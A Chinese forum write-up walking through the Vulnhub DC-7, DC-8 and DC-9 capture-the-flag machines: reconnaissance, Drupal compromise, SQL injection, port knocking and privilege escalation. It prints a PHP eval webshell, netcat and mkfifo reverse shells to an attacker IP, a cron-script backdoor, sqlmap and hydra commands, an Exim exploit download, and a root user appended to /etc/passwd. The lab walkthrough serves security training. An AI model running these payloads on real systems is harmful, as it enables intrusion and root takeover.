Vulnhub-DC 7-9 提权、端口敲门

nocircle   ·   发表于 2023-04-29 17:08:44   ·   技术文章

DC-7-Drupal-脚本文件提权

Vulnhub靶机介绍
Vulnhub是个提供各种漏洞平台的综合靶场,可供下载多种虚拟机进行练习,本地VM打开即可,像做游戏一样去完成渗透测试、提权、漏洞利用、代码审计等等有趣的实战。
靶机DC7还是只有拿到root权限才可以发现最终的flag。
01 环境搭建
靶机环境下载:https://www.vulnhub.com/entry/dc-7,356/
02 信息收集
常规扫描
arp-scan -l


端口扫描
使用nmap对目标靶机开放的端口进行扫描
nmap -Pn -n -sV 192.168.75.159


开启了ssh(22端口),web服务(80端口)
web服务是drupal 8
这个CMS和DC-1是一样的,DC-1是drupal 7这个是drupal 8


03 Get Shell
根据网站信息社工
重新查看题目信息,发现有一些提示
这个题目源自一个早期版本


在网站首页上比以前系列的题目多了一行信息<span class="label label-primary">@DC7USER#CTL{n}#CTL{n}
搜索<span class="label label-primary">@DC7USER发现在GitHub上有这个账户#CTL{n}#CTL{n}
进入后发现一个staffdb项目,在项目中发现一个带有账户信息的文件

<?php
    $servername = "localhost";
    $username = "dc7user";
    $password = "MdR3xOgB7#dW";
    $dbname = "Staff";
    $conn = mysqli_connect($servername, $username, $password, $dbname);
?>

看代码是个数据库账号,但是目前没有可以登录数据库的接口,尝试用这个账户登录web,失败,登录ssh成功


获得web账户
查询用户的sudo配置,搜索suid程序都没有找到能有效提权的方法
在home目录下有个mbox文件,和一些备份文件
看一下mbox文件发现在/opt/scripts/ 有个可以执行的脚本文件 backups.sh


cd /opt/scripts/ #进入目录
cat backups.sh #查看文件


里面调用了drush命令,drush是drupal shell专门管理drupal站点的shell
进入到/var/www/html目录下,使用drush命令修改admin用户的密码为123456
drush user-password admin —password=”123456”


使用admin账户登录成功


反弹shell
需要反弹shell,登入成功后在Content—>Add content–>Basic page下需要添加一个PHP模板
但是这里好像不支持php只有html,查了查需要单独安装插件让它支持php语言
https://www.drupal.org/project/php #插件下载地址
https://ftp.drupal.org/files/projects/php-8.x-1.0.tar.gz #模块包


有个绿色✔就是成功


然后在首页进行编辑,添加php木马代码,保存text format设置为PHP cod然后使用蚁剑进行连接

<?php
<span class="label label-primary">@eval($_REQUEST[8]);#CTL{n}?</span>>


然后需要把shell回弹到kali上面
nc 192.168.75.150 4444 -e /bin/sh
开启监听nc -lvp 4444回弹成功
设置交互python -c ‘import pty;pty.spawn(“/bin/bash”)’


04 提权
在/opt/scripts目录下的backups.sh脚本文件所属组是www-data,所以www-data用户可以对这个脚本文件进行操作,并且这个脚本文件定时执行可以利用它来反弹shell
因为sh文件是root执行的,所以返回的也是root权限
echo “rm /tmp/f;mkfifo /tmp/f;cat /tmp/f | /bin/sh -i 2>&1 | nc 192.168.75.150 7777 >/tmp/f” >> backups.sh


Kali设置nc -lvp 7777
等待定时任务执行,执行后便获得rootshell,接着进入交互shell
python -c “import pty;pty.spawn(‘/bin/bash’)”

DC-8-Drupal-exim4提权

Vulnhub简介
Vulnhub是一个提供了很多漏洞环境的靶场平台,其中的环境基本上都是做好的虚拟机镜像文件,需要使用VMware或者是VirtualBox运行。每个镜像会有破解的目标,大多是Boot2root,从启动虚拟机到获取操作系统的root权限和查看flag。
靶场部署
Vulnhub官网:https://www.vulnhub.com
下载地址:https://www.vulnhub.com/entry/dc-8,367/

  1. 直接从官网下载做好的虚拟机镜像文件(我下载的Mirror版本);
  2. 解压会得到一个.ova的文件,然后在VMware中打开即可;
    信息收集
    nmap 192.168.75.0/24
    nmap -A -sV -p- -T4 192.168.75.160
    -A 代表综合性扫描,能收集到很多重要信息
    -sV 代表扫描主要的服务信息
    -p- 扫描全部端口


扫描到靶机开放了22和80端口,使用的是Drupal(版本是7.x)的cms,还有一个robots协议
目录扫描(我使用的是dirsearch工具),扫描到一个登录界面


SQL注入
既然扫描到了80端口,那就直接访问一下
点击左侧的Details


发现一处可能存在数据交互的地方,参数nid
添加单引号报错
sqlmap一把梭


查数据库:d7db
sqlmap -u “http://192.168.75.160/?nid=1“ —dbs —batch
查表:users
sqlmap -u “http://192.168.75.160/?nid=1“ -D d7db -tables —batch
查表数据
sqlmap -u “http://192.168.75.160/?nid=1“ -D d7db -T users —dump


密码破解
admin:$S$D2tRcYRyqVFNSc0NvYUrYeQbLQg5koMKtihYTIDC9QQqJi3ICg5z
john:$S$DqupvJbxVmqjr6cYePnx2A891ln7lsuku/3if/oRVZJaz5mKC2vF
密码密文得到了,但是却不知道怎么破解呀!john这个用户名看起来似乎有点眼熟,记起来john是一个密码破解的工具
那就应该是要用john工具来爆破密码了
将得到的账户名和密码放到文本文件中


得到john用户的密码为turtle
admin用户的密码破解失败
反弹shell
使用得到的账户名和密码登录后台


发现Content->点击edit->点击WEBFORM->点击Form settings->点击下拉框选择PHP code

<p>Thanks for taking the time to contact us. We shall be in contact soon.</p>
<?php
system("nc -e /bin/bash 192.168.75.150 4444")
?>


其中必须要有能显示的文字才能执行php代码
因为该内容是在用户提交数据后显示的内容,如果没有能显示的内容,则这一部分内容将不会被引用,那么代码也就不会执行
Kali监听4444端口,在Contact Us页面随便输入信息点击Submit后,查看Kali已得到shell


提权
python -c “import pty;pty.spawn(‘/bin/bash’)”


使用命令查看是否有suid提权的命令
find / -user root -perm -4000 -print 2>/dev/null


exim是一款在Unix系统上使用的邮件服务,exim4在使用时具有root权限
查看其版本,发现是4.89
/usr/sbin/exim4 —version


使用searchsploit来寻找版本漏洞
searchsploit exim 4


然后把46996.sh拷贝到本地并改名为wi11.sh,并在kali开启http服务 service apache2 start
cp /usr/share/exploitdb/exploits/linux/local/46996.sh wi11.sh
cat wi11.sh
cp wi11.sh /var/www/html
需要进入/tmp 路径下(不然没有权限,无法下载)
然后给权限:chmod 777 wi11.sh


./wi11.sh -m netcat #执行脚本
提权失败
原因是:shell.sh文件的格式为dos格式,linux只能执行格式为unix格式的脚本。
使用set ff=unix : 告诉 vim 编辑器,使用unix换行符,不然会无法执行脚本。
所以修改一下攻击机目录下的shell脚本,在脚本最后加上 :set ff=unix
然后在靶机中重新下载脚本,赋予权限,执行脚本,提权成功,得到最终的flag!


可以多尝试几次,虽然成功了,但是很不稳定,过了一会就又变成www-data
可以趁root权限的时候用nc反弹shell维持稳定

DC-9-sudo提权

标签:SQL注入、本地文件包含LFI、端口敲门、hydra爆破、linux提权
0x00 环境准备
下载地址:https://www.vulnhub.com/entry/dc-9,412/
0x01 信息搜集
1.探测靶机地址
命令:arp-scan -l


靶机地址:192.168.75.161
2.探测靶机开放端口
命令:nmap -sV -p- 192.168.75.161


开放了22(filtered)和80端口,但是22端口被过滤了,那就先看一下80端口


插件没有识别到web指纹
0x02 SQL注入
在search菜单下有个提交框,可能存在POST注入


Burp Suite测一下


接下来用SQLmap进行遍历
sqlmap -u http://192.168.75.161/results.php —data “search=1” —batch -v 3 —level 3 —dbs


1.Staff数据库
sqlmap -u http://192.168.75.161/results.php —data “search=1” —batch -v 3 —level 3 -D Staff —tables


查看数据表,命令:
StaffDetails表:
sqlmap -u http://192.168.75.161/results.php —data “search=1” —batch -v 3 —level 3 -D Staff -T StaffDetails —columns

Users表:
sqlmap -u http://192.168.75.161/results.php —data “search=1” —batch -v 3 —level 3 -D Staff -T Users —dump
StaffDetails表:


Users表:


密码的加密方式应该是md5


得到了admin的账号和密码admin\transorbital1
2.users数据库
sqlmap -u http://192.168.75.161/results.php —data “search=1” —batch -v 3 —level 3 -D users —tables


sqlmap -u http://192.168.75.161/results.php —data “search=1” —batch -v 3 —level 3 -D users -T UserDetails —dump


在UserDetails表中发现了很多账号密码
用管理账号登陆网站后台


0x03 本地文件包含LFI
使用admin账户登录之后,登录首页提示找不到文件,怀疑存在文件读取漏洞


这里猜测文件参数是file


0x04 端口敲门
如下说明:
如果你有一台公网可访问的服务器,黑客可以轻松扫描其IP地址,查找服务器上的开放端口(尤其是用于SSH的端口22)。将服务器隐藏起来、不让黑客看见的一种方法是使用knockd。knockd是一种端口试探服务器工具。它侦听以太网或其他可用接口上的所有流量,等待特殊序列的端口命中(port-hit)。telnet或Putty等客户软件通过向服务器上的端口发送TCP或数据包来启动端口命中。

端口敲门服务,即:knockd服务。该服务通过动态的添加iptables规则来隐藏系统开启的服务,使用自定义的一系列序列号来“敲门”,使系统开启需要访问的服务端口,才能对外访问。不使用时,再使用自定义的序列号来“关门”,将端口关闭,不对外监听。进一步提升了服务和系统的安全性。
换句话说,如果知道自定义的端口,逐个进行敲门,这样我们就能够开启SSH端口,从而进行连接,所以利用LFI来查看knock.conf文件配置,得到自定义端口
现在看一下/etc/knockd.conf文件中的自定义端口


有3个自定义端口,分别是:7469,8475,9842
依次访问这三个端口就可以打开SSH服务了
nmap -p 7469 192.168.75.161
nmap -p 8475 192.168.75.161
nmap -p 9842 192.168.75.161


现在看一下ssh端口,命令:nmap -p 22 192.168.75.161


open!
0x05 hydra爆破SSH
sql注入的时候,拿到了很多用户名和密码,把它们分别保存
然后使用hydra进行ssh爆破。命令:hydra -L user.txt -P pass.txt -t 10 ssh://192.168.75.161
使用”-l”选项指定单个登录名,使用”-p”选项指定单个密码。使用”-L”选项指定一个文件来指定多个登录名,使用”-P”选项指定一个文件来指定多个密码,”-t”表示使用线程。


爆破出来3个账号:chandlerb \ UrAG0D!、joeyt \ Passw0rd、janitor \ Ilovepeepee
登录SSH(注意应该使用ls -la查看隐藏文件或目录),发现只有janitor用户存在隐藏可读文件
ssh janitor<span class="label label-primary">@192.168.75.161#CTL{n}#CTL{n}
这个文件看起来是一个存放密码的文件,将密码复制到pass.txt中,再次使用hydra进行爆破


爆破出了一个新的账号:fredf \ B4-Tru3-001
0x06 提权
登陆到fredf账号,查看下fredf的sudo权限,发现可以NOPASSWD执行root权限的文件
sudo -l


查看发现test是一个python文件


使用命令:find / -name test.py 2>/dev/null查找python文件,进行查看


该文件需要传入三个参数,这三个参数都是文件,传入三个参数后,会读取第二个文件,然后将第二个文件的内容追加到第三个文件里。
既然这样,我们就可以利用这个程序向/etc/passwd文件后追加一个拥有root权限的账户,也就是说把/etc/passwd文件设置为第三个参数,而第二个参数由我们自己创建,这个文件里是拥有root权限账户的信息,第一个参数随便写一个就好。
我们先使用openssl来创建第二个参数文件中的内容
命令:sudo openssl passwd -1 -salt hacker password
这条命令的意思是创建一个用户名为hacker,密码为password的用户
-1 的意思是使用md5加密算法
-salt 自动插入一个随机数作为文件内容加密


修改后的值:hacker:$1$hacker$9MeWOdvz78rHYG01HSLfr/:0:0::/root:/bin/bash
echo ‘hacker:$1$hacker$9MeWOdvz78rHYG01HSLfr/:0:0::/root:/bin/bash’ >> /tmp/passwd

sudo /opt/devstuff/dist/test/test /tmp/passwd /etc/passwd
切换到新添加的账户,提权成功

用户名金币积分时间理由
Track-聂风 100.00 0 2023-05-05 15:03:19 活动奖励
Track-聂风 100.00 0 2023-05-05 15:03:16 投稿奖励

打赏我,让我更有动力~

1 条回复   |  直到 8个月前 | 641 次浏览

徐浩洋
发表于 8个月前

大哥nb

评论列表

  • 加载数据中...

编写评论内容
登录后才可发表内容
返回顶部 投诉反馈

© 2016 - 2024 掌控者 All Rights Reserved.